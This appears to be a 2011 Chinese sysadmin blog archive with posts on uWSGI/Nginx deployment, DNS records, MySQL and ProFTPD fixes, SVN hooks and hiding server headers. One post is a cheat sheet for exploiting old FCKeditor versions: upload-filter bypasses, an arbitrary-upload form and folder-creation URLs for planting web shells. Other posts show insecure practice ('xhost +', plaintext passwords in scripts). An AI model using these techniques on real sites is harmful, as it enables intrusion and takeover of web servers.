月度归档:2011年06月

配置Nginx+uwsgi部署python应用

 个人觉得php最方便的就是deployment了,只要把php文件丢到支持php的路径里面,然后访问那个路径就能使用了;无论给主机添加多少php应用,只要把目录改好就没你的事了,完全不用关心php-cgi运行得如何,deployment极为方便。

反观python,部属起来真是头痛,常见的部署方法有:

  1. fcgi:用spawn-fcgi或者框架自带的工具对各个project分别生成监听进程,然后和http服务互动
  2. wsgi:利用http服务的mod_wsgi模块来跑各个project

无论哪种都很麻烦,apache的mod_wsgi配置起来很麻烦,内存占用还大,如果要加上nginx作为静态页面的服务器那就更麻烦了;反正我的应用基本上到后来都是是各个project各自为战,且不说管理上的混乱,这样对负载也是不利的,空闲的project和繁忙的project同样需要占用内存,很容易出现站着茅坑不拉屎的现象。

如果有个啥东东能像php-cgi一样监听同一端口,进行统一管理和负载平衡,那真是能省下大量的部署功夫。偶然看到了uWSGI,才发现居然一直不知道有那么方便地统一部署工具。

uWSGI,既不用wsgi协议也不用fcgi协议,而是自创了一个uwsgi的协议,据说该协议大约是fcgi协议的10倍那么快,有个比较见下图

uWSGI的主要特点如下,其中一些功能让我感动得泪流满面

  1. 超快的性能
  2. 低内存占用(实测为apache2的mod_wsgi的一半左右)
  3. 多app管理(终于不用冥思苦想下个app用哪个端口比较好了-.-)
  4. 详尽的日志功能(可以用来分析app性能和瓶颈)
  5. 高度可定制(内存大小限制,服务一定次数后重启等)

总而言之uwgi是个部署用的好东东,正如uWSGI作者所吹嘘的:

If you are searching for a simple wsgi-only server, uWSGI is not for you, but if you are building a real (production-ready) app that need to be rock-solid, fast and easy to distribute/optimize for various load-average, you will pathetically and morbidly fall in love (we hope) with uWSGI.

正式开工

uwsgi的文档虽然蛮多也很详细,但是他们网站的排版真是让人无语,粗粗看上去根本不知道文档在哪里。其实是在这里:http://projects.unbit.it/uwsgi/wiki/Doc

0.安装uwsgi

ubuntu有uwsgi的ppa

add-apt-repository ppa:stevecrozz/ppa apt-get update apt-get install uwsgi

1. 用uwsgi代替mod_wsgi

nginx的整体配置说来话长,我也不再罗嗦了,假设已经明白nginx的基本配置,那么uwsgi就类似这么配置:

location / {   include uwsgi_params   uwsgi_pass 127.0.0.1:9090 }

这就是把所有url传给9090端口的uwsgi协议程序来互动。

再到project目录建立myapp.py,使得application调用框架的wsgi接口,比如web.py就是

...... app = web.application(urls, globals()) application = app.wsgifunc()

再比如django就是

....... from django.core.handlers.wsgi import WSGIHandler application = WSGIHandler()

然后运行uwsgi监听9090,其中-w后跟模块名,也就是刚才配置的myapp

uwsgi -s :9090 -w myapp

运行网站发现已经部署完成了。

2. uwsgi的参数

以上是单个project的最简单化部署,uwsgi还是有很多令人称赞的功能的,例如

并发4个线程

uwsgi -s :9090 -w myapp -p 4

主控制线程+4个线程

uwsgi -s :9090 -w myapp -M -p 4

执行超过30秒的client直接放弃

uwsgi -s :9090 -w myapp -M -p 4 -t 30

限制内存空间128M

uwsgi -s :9090 -w myapp -M -p 4 -t 30 --limit-as 128

服务超过10000个req自动respawn

uwsgi -s :9090 -w myapp -M -p 4 -t 30 --limit-as 128 -R 10000

后台运行等

uwsgi -s :9090 -w myapp -M -p 4 -t 30 --limit-as 128 -R 10000 -d uwsgi.log

更多用法见文档:http://projects.unbit.it/uwsgi/wiki/Doc

3.为uwsgi配置多个站点

为了让多个站点共享一个uwsgi服务,必须把uwsgi运行成虚拟站点:去掉“-w myapp”加上”-vhost”

uwsgi -s :9090 -M -p 4 -t 30 --limit-as 128 -R 10000 -d uwsgi.log --vhost

然后必须配置virtualenv,virtualenv是python的一个很有用的虚拟环境工具,这样安装

apt-get install python-setuptools easy_install virtualenv

然后设置一个/多个app基准环境

virtualenv /var/www/myenv

应用环境,在此环境下安装的软件仅在此环境下有效

source /var/www/myenv/bin/activate pip install django pip install mako ...

最后配置nginx,注意每个站点必须单独占用一个server,同一server不同location定向到不同的应用不知为何总是失败,我猜也算是一个bug。

server {         listen       80;         server_name  app1.mydomain.com;         location / {                 include uwsgi_params;                 uwsgi_pass 127.0.0.1:9090;                 uwsgi_param UWSGI_PYHOME /var/www/myenv;                 uwsgi_param UWSGI_SCRIPT myapp1;                 uwsgi_param UWSGI_CHDIR /var/www/myappdir1;         }     }     server {         listen       80;         server_name  app2.mydomain.com;         location / {                 include uwsgi_params;                 uwsgi_pass 127.0.0.1:9090;                 uwsgi_param UWSGI_PYHOME /var/www/myenv;                 uwsgi_param UWSGI_SCRIPT myapp2;                 uwsgi_param UWSGI_CHDIR /var/www/myappdir2;         }     }

如此这般,重启nginx服务,两个站点就可以共用一个uwsgi服务了。

4.实战应用

最初的设置完毕以后,再添加的应用,只需要在nginx里面进行少量修改,无需重启uwsgi,就能立刻部署完毕。uwsgi自带了基于django的监控uwsgi运行状态的工具,就拿它来部署好了:

server {     listen 80;     root   /var/www/django1.23;     index  index.html index.htm;     server_name uwsgiadmin.django.obmem.info;     access_log  /var/log/nginx/django.access.log;     location /media/ {         root /var/www/django1.23/adminmedia;         rewrite ^/media/(.*)$ /$1 break;     }     location / {         include uwsgi_params;         uwsgi_pass 127.0.0.1:9090;         uwsgi_param UWSGI_PYHOME /var/www/django1.23/vtenv;         uwsgi_param UWSGI_CHDIR /var/www/django1.23/uwsgiadmin;         uwsgi_param UWSGI_SCRIPT uwsgiadmin_wsgi;     } }

于是uwsgi的监控信息可以在http://uwsgiadmin.django.obmem.info 看到用户名密码都是admin。

再比如LBForum论坛程序的部署:根据安装说明安装完毕,再按部署说明修改完配置文件,然后只需修改nginx配置文件:

server {     listen 80;     root   /var/www/django1.23;     index  index.html index.htm;     server_name lbforum.django.obmem.info;     access_log  /var/log/nginx/django.access.log;     location / {         include uwsgi_params;         uwsgi_pass 127.0.0.1:9090;         uwsgi_param UWSGI_PYHOME /var/www/django1.23/vtenv;         uwsgi_param UWSGI_CHDIR /var/www/django1.23/LBForum/sites/default;         uwsgi_param UWSGI_SCRIPT lbforum_wsgi;     } }

于是 http://lbforum.django.obmem.info 就是论坛程序了。

后记

虽然写出来寥寥几行,配置的时候我可吃尽了uwsgi的苦头,有些想当然的用法完全不能成立,-no-site参数一加上去其他都好使LBForum怎么都部署不了,一开始多站点公用uwsgi怎么都成功不了等等。

python世界很有趣,一直会发现好玩的东东,但是python世界也很折腾人,大部分东东都是dev版本,文档缺失,各种兼容问题……大约是因为在python中,有个idea到实现出来实在是太过高效的关系吧,唉,被折腾死了。

域名的一些基础知识

1、A记录:WEB服务器的IP指向 

A (Address) 记录是用来指定主机名(或域名)对应的IP地址记录。 

说明:用户可以将该域名下的网站服务器指向到自己的web server上。同时也可以设置自己域名的二级域名。 

就是说:通过A记录,大家可以设置自己的不同域名转到不同的IP上去!如: 

 

www.yourdomain.com 转到IP 97.74.75.240

ftp.yourdomain.com 转到IP 97.74.75.240

 

mail.yourdomain.com 转到IP 97.74.75.240

 

2、CNAME (Canonical Name)记录,(alias from one domain name to another)通常称别名指向 

可以将注册的不同域名统统转到一个主域名上去!与A记录不同的是,CNAME别名记录设置的可以是一个域名的描述而不一定是IP地址! 

 

3、URL (Uniform Resource Locator )转发:网址转发 

 

功能:如果您没有独立的服务器(也就是没有一个独立的IP地址)或者您还有一个域名B,您想访问A域名时访问到B域名的内容,这时您就可以通过URL转发来实现。 

url转发可以转发到某一个目录下,甚至某一个文件上。而cname是不可以,这就是url转发和cname的主要区别所在。 

 

 

 

4、MX记录(Mail Exchange):邮件路由记录 

 

说明:用户可以将该域名下的邮件服务器指向到自己的mail server上,然后即可自行操作控制所有的邮箱设置。您只需在线填写您服务器的主机名或主机IP地址,即可将您域名下的邮件全部转到您自己设定相应的邮件服务器上。 就是将你的域名中邮件服务器分开,将它设置到其它的IP去! 

 

比如同样是 ourwords.cn,如果你设置A记录是指向123.12.123.123,而MX记录你设置是指向222.22.222.222,那么你的DNS服务器接收到别人的邮件路由请求时就将会将它的请求解释到222.22.222.222上去!而别人访问你的网页的时候仍然是访问123.12.123.123。 

 

5、NS(Name Server)记录是域名服务器记录,用来指定该域名由哪个DNS服务器来进行解析。

 

如何查看域名的A记录、MX记录、CNAME记录和NS记录 

 

那么如何才能查到域名的A记录,要查询域名的MX记录、CNAME记录或NS记录,可用nslookup命令。nslookup是windows NT/2000/XP和unix、linux等操作系统自带的命令。(在Windows 98/Me里没有)。 

 

在Windows的DOS命令行窗口里,或unix/linux的命令行下,输入nslookup。其中“Default Server”和“Address”是当前上网所用的DNS服务器域名和地址。“>”是nslookup的提示符。在提示符下输入“?”和回车,可看到nslookup的帮助信息,输入“exit”和回车可退出nslookup。此时,在提示符下直接输入域名,可查到该域名的A记录。例如: 

 

其中“Non-authoritative answer”表示查询结果是从DNS的cache里返回的。 

输入set type=mx,再输入域名,可查询MX记录。例如: 

 

输入set type=cname,再输入域名,可查询CNAME记录。例如: 

输入set type=ns,再输入域名,可查询NS记录。例如: 

 

如果您申请了顶级域名或独立域名的动态解析服务,在您的域名注册商里把域名的NS记录设置为域名服务商的DNS服务器后,可以用这个办法查询设置是否已经生效。 

上述的操作,都是从默认的DNS服务器里进行查询的,如果想指定查询所用的DNS服务器,可以在输入域名的时候,后面跟上一个域名服务器的地址。这种查询方法对所有记录的查询都适用。如果您在万网申请了顶级域名或独立域名的动态解析服务,在未到您的域名注册商里设置域名的NS记录之前,可以用这个办法查询您的域名在万网是否能正常解析。 

 

6、动态域名解析就是指把一个固定的域名解析到一个具有动态IP的主机上。在家里或公司里上网的机器,使用动态域名服务后,所有Internet用户就可以通过一个固定的域名访问这台计算机。网上常见公司如花生壳等即提供有动态域名服务

ubuntu下不能以根用户身份运行 Google Chrome 浏览器。

个人比较喜欢用Google Chrome,在ubuntu上安装Chrome后出现以下提示,又不想切换到其他用户下。

不能以根用户身份运行 Google Chrome 浏览器。

请以普通用户的身份启动 Google Chrome 浏览器。如果您曾经以根用户的身份运行 Google Chrome 浏览器,则需要更改您的个人资料目录的所有权。

大小: 835.35 K
尺寸: 500 x 282
浏览: 0 次
点击打开新窗口浏览全图

网上搜到的办法:

#:xhost +

#:sudo -i -u steven /opt/google/chrome/google-chrome

命令的意思大致就是用steven这个用户运行chrome,但是每次运行之前都要巧这个命令,很麻烦。

可以随便找找个地方新建一个chrome.sh

chrome.sh内容如下:

#!/bin/sh

xhost +

sudo -i -u steven /opt/google/chrome/google-chrome


然后在桌面上创建一个启动器,命令一栏就输入这个文件,以后运行的时候双击就可以了。还可以到/opt/google/chrome/google-chrome里面找一个图片换上,这样模仿的就比较逼真了。也不用每次都敲命令了。

 

或者直接修改桌面上的快捷方式:

[Desktop Entry]
Version=1.0
Name=Google Chrome
GenericName=Web Browser
GenericName[zh_CN]=网页浏览器
Comment=Access the Internet
Comment[zh_CN]=访问互联网
Exec=sudo -i -u stvenx /opt/google/chrome/google-chrome  #要修改的地方
Terminal=false
Icon=google-chrome
Type=Application
Categories=Network;WebBrowser;
MimeType=text/html;text/xml;application/xhtml_xml;x-scheme-handler/http;x-scheme-handler/https;x-scheme-handler/ftp;

MYSQL ERROR 1598 (HY000): Binary logging not possible(已解决)

  从一台电脑上导入数据库中的一个表到另一台数据库中,结果出现:

#1598 – Binary logging not possible. Message: Transaction level ‘READ-COMMITTED’ in InnoDB is not safe for binlog mode ‘STATEMENT’ .

在网上搜索了一下,说用以下方法可以解决,不过我用了还是没解决:

SET SESSION TRANSACTION ISOLATION LEVEL REPEATABLE READ.

再仔细看一下数据库,数据库是引擎是MyISAM,而刚导入的表是InnoDB类型,把表的存储引擎改为MyISAM就解决了.

还有可以说修改my.cnf文件,把

transaction_isolation = READ-COMMITTED注释掉.再重启mysql数据库.

proftpd连接mysql登录失败

 

   重启服务器后发现ftp无法正常登录了,看日志感觉也没什么错误信息,我的ftp服务器是用proftpd和mysql结合的(详见附件),百度GOOGLE也找不到答案.只好从日志入手了,

#tail -f /var/log/*.log

登录ftp服务器,出现以下信息:

 

 Jun 27 23:57:47 mod_sql/4.3[10140]: entering    mysql cmd_close
Jun 27 23:57:47 mod_sql/4.3[10140]: connection 'default' count is now 1
Jun 27 23:57:47 mod_sql/4.3[10140]: exiting mysql cmd_close
Jun 27 23:57:47 mod_sql/4.3[10140]: exiting mysql cmd_select
Jun 27 23:57:47 mod_sql/4.3[10140]: <<< cmd_getgroups
Jun 27 23:57:47 mod_sql/4.3[10140]: >>> cmd_auth
Jun 27 23:57:47 mod_sql/4.3[10140]: entering mysql cmd_escapestring
Jun 27 23:57:47 mod_sql/4.3[10140]: entering mysql cmd_open
Jun 27 23:57:47 mod_sql/4.3[10140]: connection 'default' count is now 2
Jun 27 23:57:47 mod_sql/4.3[10140]: exiting mysql cmd_open
Jun 27 23:57:47 mod_sql/4.3[10140]: entering mysql cmd_close
Jun 27 23:57:47 mod_sql/4.3[10140]: connection 'default' count is now 1
Jun 27 23:57:47 mod_sql/4.3[10140]: exiting mysql cmd_close
Jun 27 23:57:47 mod_sql/4.3[10140]: exiting mysql cmd_escapestring
Jun 27 23:57:47 mod_sql/4.3[10140]: cache hit for user 'greycode'
Jun 27 23:57:47 mod_sql/4.3[10140]: >>> cmd_check
Jun 27 23:57:47 mod_sql/4.3[10140]: checking password using SQLAuthType 'Plaintext'
Jun 27 23:57:47 mod_sql/4.3[10140]: 'Plaintext' SQLAuthType handler reports success
Jun 27 23:57:47 mod_sql/4.3[10140]: cache hit for user 'greycode'
Jun 27 23:57:47 mod_sql/4.3[10140]: <<< cmd_check
Jun 27 23:57:47 mod_sql/4.3[10140]: <<< cmd_auth
Jun 27 23:57:47 mod_sql/4.3[10140]: >>> cmd_getpwnam
Jun 27 23:57:47 mod_sql/4.3[10140]: cache hit for user 'greycode'
Jun 27 23:57:47 mod_sql/4.3[10140]: <<< cmd_getpwnam
Jun 27 23:57:47 mod_sql/4.3[10140]: >>> cmd_getpwnam
Jun 27 23:57:47 mod_sql/4.3[10140]: cache hit for user 'greycode'
Jun 27 23:57:47 mod_sql/4.3[10140]: <<< cmd_getpwnam
Jun 27 15:57:47 mod_sql/4.3[10140]: entering mysql cmd_exit
Jun 27 15:57:47 mod_sql/4.3[10140]: entering mysql cmd_close
Jun 27 15:57:47 mod_sql/4.3[10140]: connection 'default' closed
Jun 27 15:57:47 mod_sql/4.3[10140]: connection 'default' count is now 0
Jun 27 15:57:47 mod_sql/4.3[10140]: exiting mysql cmd_close
Jun 27 15:57:47 mod_sql/4.3[10140]: exiting mysql cmd_exit

 

userid passwd uid gid homedir shell count host lastlogin
用户名和密码都没错,最可能影响结果的就是uid和gid,homedir,shell了
看了一下homedir的权限,竟然是700,
很有可能就是权限问题,试试改权限有没有用~
#chmod 755 /var/ftp -R
再次登录竟然成功了!看来是在proftpd运行的时候修改了ftp目录的权限,重启服务器后proftpd重新读取权限造成的!
附:ProFTPD_支持MySQL数据库添加虚拟用户认证及Quotas.docproftpd_支持mysql数据库添加虚拟用户认证及quotas.doc

 

Fckeditor漏洞利用总结

 Fckeditor漏洞利用总结

1.查看编辑器版本

FCKeditor/_whatsnew.html


—————————————————————————————————————————————————————————————

2. Version 2.2 版本

Apache+linux 环境下在上传文件后面加个.突破!测试通过。

—————————————————————————————————————————————————————————————

3.Version <=2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制,导致用户上传任意文件!将以下保存为html文件,

修改action地址。

<form id="frmUpload" enctype="multipart/form-data"

action="
http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>

<input type="file" name="NewFile" size="50"><br>

<input id="btnUpload" type="submit" value="Upload">

</form>

—————————————————————————————————————————————————————————————

4.FCKeditor 文件上传“.”变“_”下划线的绕过方法

        很多时候上传的文件例如:shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。

    4.1:提交shell.php+空格绕过

不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件 未测试。

    4.2:继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹,只检测了第一级的目录,如果跳到二级目录就不受限制。

—————————————————————————————————————————————————————————————

5. 突破建立文件夹

FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=

%2Fshell.asp&NewFolderName=z&uuid=1244789975684

FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?

Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp

—————————————————————————————————————————————————————————————

6. FCKeditor 中test 文件的上传地址

FCKeditor/editor/filemanager/browser/default/connectors/test.html

FCKeditor/editor/filemanager/upload/test.html

FCKeditor/editor/filemanager/connectors/test.html

FCKeditor/editor/filemanager/connectors/uploadtest.html

—————————————————————————————————————————————————————————————

7.常用上传地址

FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/

FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp

FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com%2Ffckeditor%2Feditor

%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 测试通过)

JSP 版:

FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp

注意红色部分修改为FCKeditor 实际使用的脚本语言,蓝色部分可以自定义文

件夹名称也可以利用../..目录遍历,紫色部分为实际网站地址。

—————————————————————————————————————————————————————————————

8.其他上传地址

FCKeditor/_samples/default.html

FCKeditor/_samples/asp/sample01.asp

FCKeditor/_samples/asp/sample02.asp

FCKeditor/_samples/asp/sample03.asp

FCKeditor/_samples/asp/sample04.asp

一般很多站点都已删除_samples 目录,可以试试。

FCKeditor/editor/fckeditor.html 不可以上传文件,可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页。

解决sablog1.6x 后台在Chrome下不支持富文本编辑器

 sablog1.6x 后台在Chrome无法加载FCK文本编辑器,做了些小修改,

修改admin/editor/fckeditor_php4.php,和admin/editor/fckeditor_php5.php,找到IsCompatible()函数,加入以下代码:

  1.         else ifstrpos($sAgent,‘Chrome’)!==false){  
  2.             return true;  
  3.         }  

 

PHP代码
  1. function IsCompatible()  
  2.     {  
  3.         global $HTTP_USER_AGENT ;  
  4.   
  5.         if ( isset( $HTTP_USER_AGENT ) )  
  6.             $sAgent = $HTTP_USER_AGENT ;  
  7.         else  
  8.             $sAgent = $_SERVER[‘HTTP_USER_AGENT’] ;  
  9.   
  10.         if ( strpos($sAgent‘MSIE’) !== false && strpos($sAgent‘mac’) === false && strpos($sAgent‘Opera’) === false )  
  11.         {  
  12.             $iVersion = (float)substr($sAgentstrpos($sAgent‘MSIE’) + 5, 3) ;  
  13.             return ($iVersion >= 5.5) ;  
  14.         }  
  15.         else if ( strpos($sAgent‘Gecko/’) !== false )  
  16.         {  
  17.             $iVersion = (int)substr($sAgentstrpos($sAgent‘Gecko/’) + 6, 8) ;  
  18.             return ($iVersion >= 20030210) ;  
  19.         }  
  20.         /*添加的代码*/  
  21.         else ifstrpos($sAgent,‘Chrome’)!==false){  
  22.             return true;  
  23.         }  
  24.         /*添加的代码结束*/  
  25.         else  
  26.             return false ;  
  27.     }  

 

ubuntu配置svn

一、SVN安装
1.安装包
$ sudo apt-get install subversion

2.添加svn管理用户及subversion组
$ sudo adduser svnuser
$ sudo addgroup subversion
$ sudo addgroup svnuser subversion       

3.创建项目目录
$ sudo mkdir /home/svn
$ cd /home/svn
$ sudo mkdir fitness
$ sudo chown -R root:subversion fitness
$ sudo chmod -R g+rws fitness

4.创建SVN文件仓库
$ sudo svnadmin create /home/svn/fitness

5.访问方式及项目导入:
$ svn co file:///home/svn/fitness
或者
$ svn co file://localhost/home/svn/fitness
* 注意:
如果您并不确定主机的名称,您必须使用三个斜杠(///),而如果您指定了主机的名称,则您必须使用两个斜杠(//).
//–
下面的命令用于将项目导入到SVN 文件仓库:
$ svn import -m "New import" /home/svn/fitness file:///home/svnuser/src/fitness
一定要注明导入信息

//————————–//
6.访问权限设置
修改 /home/svn/fitness目录下:
svnserve.conf 、passwd 、authz三个文件,行最前端不允许有空格
//–
编辑svnserve.conf文件,把如下两行取消注释
password-db = password
authz-db = authz

//补充说明
# [general]
anon-access = read
auth-access = write
password-db = passwd
其中 anon-access 和 auth-access 分别为匿名和有权限用户的权限,默认给匿名用户只读的权限,但如果想拒绝匿

名用户的访问,只需把 read 改成 none 就能达到目的。

//–
编辑/home/svnuser/etc/passwd  如下:
[users]
mirze = 123456
test1 = 123456
test2 = 123456
//–
编辑/home/svnuser/etc/authz如下
[groups]
admin = mirze,test1
test = test2
[/]
@admin=rw
*=r
这里设置了三个用户mirze,test1,test2密码都是123456
其中mirze和test1属于admin组,有读和写的权限,test2属于test组只有读的权限

7.启动SVN服务
svnserve -d -r /home/svn
描述说明:
-d 表示svnserver以“守护”进程模式运行
-r 指定文件系统的根位置(版本库的根目录),这样客户端不用输入全路径,就可以访问版本库
如: svn://192.168.12.118/fitness

这时SVN安装就完成了.
局域网访问方式:
例如:svn checkout svn://192.168.12.118/fitness –username mirze –password 123456 /var/www/fitness

———————————————————————–

二、HTTP:// [apache]
1.安装包 [已安装subversion]
$ sudo apt-get install libapache2-svn

创建版本仓库:
sudo svnadmin create /目录地址
目录地址必须存在,这个就是保存版本仓库的地方,不同的版本仓库创建不同的文件夹即可,比如:
sudo svnadmin create /home/svn/project
本来/home/svn/project这个目录下什么都没有,执行下面的命令之后再去看一下,多出一些文件和文件夹,我们需要操作的是conf这个文件夹,这个文件夹下有一个文件,叫做passwd,用来存放用户名和密码。
然后把这个版本仓库目录授权给apache读写:
sudo chown -R www-data:www-data /目录地址
然后来到打开apache配置文件:
sudo gedit /etc/apache2/mods-available/dav_svn.conf

加入如下内容:
<Location /project>
DAV svn
SVNPath /home/svn/project
AuthType Basic
AuthName “myproject subversion repository”
AuthUserFile /home/svn/project/conf/passwd
#<LimitExcept GET PROPFIND OPTIONS REPORT>
Require valid-user
#</LimitExcept>
</Location>

location说的是访问地址,比如上述地址,访问的时候就是
http://127.0.0.1/project
其中有两行被注释掉了,以保证每次都需要用户名密码。
最后一步就是创建访问用户了,建议将用户名密码文件存放在当前版本仓库下conf文件夹下,这样版本仓库多的时候无至于太乱。
因为conf文件夹下已经存在passwd文件了,所以直接添加用户:
sudo htpasswd -c /home/svn/project/conf/passwd test
然后输入两遍密码,laoyang这个用户就创建好了。
打开/home/svn/project/conf/passwd这个文件,会开到形如如下形式的文本:
test:WEd.83H.gealA  //后面是加密后的密码。
创建以后,再次需要往别的版本仓库添加这个用户,直接把这一行复制过去就可以了。
重启apache就可以了。
sudo /etc/init.d/apache2 restart

———————————————————————–

三、同步更新 [勾子]

同步程序思路:用户提交程序到SVN,SVN触发hooks,按不同的hooks进行处理,这里用到的是post-commit,利用post-commit到代码检出到SVN服务器的本地硬盘目录,再通过rsync同步到远程的WEB服务器上。

知识点:
1、SVN的hooks
# start-commit 提交前触发事务
# pre-commit 提交完成前触发事务
# post-commit 提交完成时触发事务
# pre-revprop-change 版本属性修改前触发事务
# post-revprop-change 版本属性修改后触发事务
通过上面这些名称编写的脚本就就可以实现多种功能了,相当强大。
2、同步命令rsync的具体参数使用
3、具有基个语言的编程能力bash python perl都可以实现

post-commit具体实现细节
post-commit脚本

 编辑文件:sudo vim /home/svn/fitness/hooks/post-commit

注意:编辑完成post-commit后,执行:sudo chmod 755 post-commit

内容:

#!/bin/sh

export LANG=zh_CN.UTF-8

sudo /usr/bin/svn update /var/www/www –username mirze –password 123456

#Set variable

SVN=/usr/bin/svn

WEB=/home/test_nokia/

RSYNC=/usr/bin/rsync

LOG=/tmp/rsync_test_nokia.log

WEBIP="192.168.0.23"

export LANG=en_US.UTF-8

 

#update the code from the SVN

$SVN update $WEB –username user –password  password

#If the previous command completed successfully, to continue the following

if [ $? == 0 ]

then

    echo ""     >> $LOG

    echo `date` >> $LOG

    echo "##############################" >> $LOG

    chown -R nobody:nobody /home/test_nokia/

    #Synchronization code from the SVN server to the WEB server, notes:by the key

    $RSYNC -vaztpH  –timeout=90   –exclude-from=/home/svn/exclude.list $WEB root@$WEBIP:/www/ >> $LOG

fi

以上是具体的post-commit程序
注意事项:
1、一定要定义变量,主要是用过的命令的路径。因为SVN的考虑的安全问题,没有调用系统变量,如果手动执行是没有问题,但SVN自动执行就会无法执行了。
2、SVN update 之前一定要先手动checkout一份出来,还有这里一定要添加用户和密码 如果只是手动一样会更新,但自动一样的不行。
3、加上了对前一个命令的判断,如果update的时候出了问题,程序没有退出的话还会继续同步代码到WEB服务器上,这样会造成代码有问题
4、记得要设置所属用户,因为rsync可以同步文件属性,而且我们的WEB服务器一般都不是root用户,用户不正确会造成WEB程序无法正常工作。
5、建议最好记录日志,出错的时候可以很快的排错
6、最后最关键的数据同步,rsync的相关参数一定要清楚,这个就不说了。注意几个场景:
这里的环境是SVN服务器与WEB服务器是开的
把SVN服务器定义为源服务器 WEB服务器为目的服务器
场景一、如果目的WEB服务器为综合的混杂的,像只有一个WEB静态资源,用户提交的,自动生成的都在WEB的一个目录下,建议不要用–delete这个参数
上面这个程序就是这样,实现的是源服务器到目的服务器的更新和添加,而没有删除操作,WEB服务器的内容会多于源SVN的服务器的
场景二、实现镜像,即目的WEB服务器与源SVN服务器一样的数据,SVN上任何变化WEB上一样的变化,就需要–delete参数
场景三、不需要同步某些子目录,可能有些目录是缓存的临时垃圾目录,或者是专用的图片目录(而不是样式或者排版的)要用exclude这个参数
注意:这个参数的使用不用写绝对路径,只要目录名称就行 aa代表文件 aa/ 代表目录 ,缺点就是如果有多个子目录都是一样的名称 那么这些名称就都不会被同步
建议用–exclude-from=/home/svn/exclude.list 用文件的形式可以方便的添加和删除
exclude.list

.svn/
.DS_Store
images/

利用SVN的钩子还可以写出很多的程序来控制SVN 如代码提交前查看是否有写日志,是否有tab,有将换成空格,是否有不允许上传的文件,是否有超过限制大小的文件等等。

屏蔽、隐藏apache,nginx头信息

屏蔽、隐藏apache,nginx头信息。

 

用CURL查看web服务信息

curl --head http://localhost 查看服务器提供HTTP服务的相关信息 这里会显示你的HTTP是什么程序,哪个版本如 Server: nginx/1.0.0 还有PHP的相关信息 X-Powered-By: PHP/5.3.6

下面就是如何来隐藏这些信息了

隐藏apache版本信息:

开启 httpd.conf,加入以下两行: ServerTokens ProductOnly ServerSignature Off

隐藏Nginx版本信息:

开启 nginx.conf,在http { }里加上: server_tokens off;

隐藏php-fpm版本信息:

开启php-fpm配置文件,找到: fastcgi_param SERVER_SOFTWARE nginx/$nginx_version; 改为: fastcgi_param SERVER_SOFTWARE nginx1.0.0; #(这个nginx1.0.0就是显示的内容)

隐藏PHP版本信息:

开启php.ini,加入: expose_php = Off

完成以上设定后,重新启动 Apache/Nginx 即可。

程序员成熟到优秀的瓶颈问题

    很多程序员到了成熟阶段后,就会处于一个停滞状态。技术上已经驾轻就熟,工作上已经按部就班,心里虽然感觉有些不甘,但是何去何从他们显得很茫然很无助。我认为程序员到了成熟阶段后,如果还想要向优秀阶段发展,一定会遇到这个瓶颈的,穿过这个瓶颈就会走进另一片开阔的前景,穿不过则会停留在原地止步不前。

  1、技术瓶颈

  技术上的瓶颈是很明显的,主要表现在,对学习缺乏热情,对技术缺乏钻研,对新技术发展缺乏了解等三个主要方面。其中原因主要是:第一,成熟的程序员编程技术已经能够满足开发软件的要求,很多人认为只要能编出来就行了,至于编得更好,那就要看兴趣了,看时间允许了。第二,由于成熟程序员承担着比一般程序员更多的工作,比如软件设计和项目管理,比如和用户打交道、和领导打交道,很多时间精力无法放在编程上面。第三,由于软件开发任务一般都比较紧,工作起来必须加班加点才能完成,因此,没有时间再做技术上的深入。第四,很多程序员处于一个自发的发展状态,自己的成长完全取决于自己工作内容,工作内容强度和复杂程度决定了其技术水平的高低,因此,他自己根本不知道自己技术发展的方向是什么,技术上的差距是什么,也就无从谈起自己的努力的方向。

  因此,成熟的程序员应该有更上一层楼的意识,千万不要固步自封,夜郎自大。首先要对自己在技术上有一个客观的分析,看看自己的长项在什么地方,弱项在什么地方。对自己的弱项就要想办法进行克服,千万不要留在那里,日后必然会影响自己的进步。比如,很多人弱项在面向对象的设计方法,人机界面交互,大数据量处理,处理效率等,如果有这些方面的问题就要想尽办法去解决。其二,要注重编程基础技能的深入掌握,很多时候程序员只是拿来主义,知其然不知所以然,把基础缺失的那个部分再补回来,为今后向更高的技术境界打下基础,比如像操作系统,网络知识、程序设计语言、数据库、系统构架、软件工程等基础知识,要重新审视,把其中有用的知识掌握好,并且要学会把各种基础知识给串联起来,加深对基础知识的认识。其三,要逐步把编程技术从功能实现方面转向参数化设计、软件构架等高级阶段方面的研究,在共享、通用、标准化方面有所建树。

  2、工作上瓶颈

  程序员在工作上也存在向上的瓶颈。就一般而言,很多程序员在这个阶段工作上比较稳定:领导对自己相对比较了解和信任,同事对自己的工作能力和技术水平也比较认可,软件用户对自己的服务也相对比较满意。因此,在充满工作上的满足感的同时,工作上日复一日,没有什么新意,疲倦感油然而生,而以往那种激情很少有地方释放了。所以,程序员有时也会思考自己在工作上究竟要在什么地方进行突破,究竟怎么才能更上一层楼。

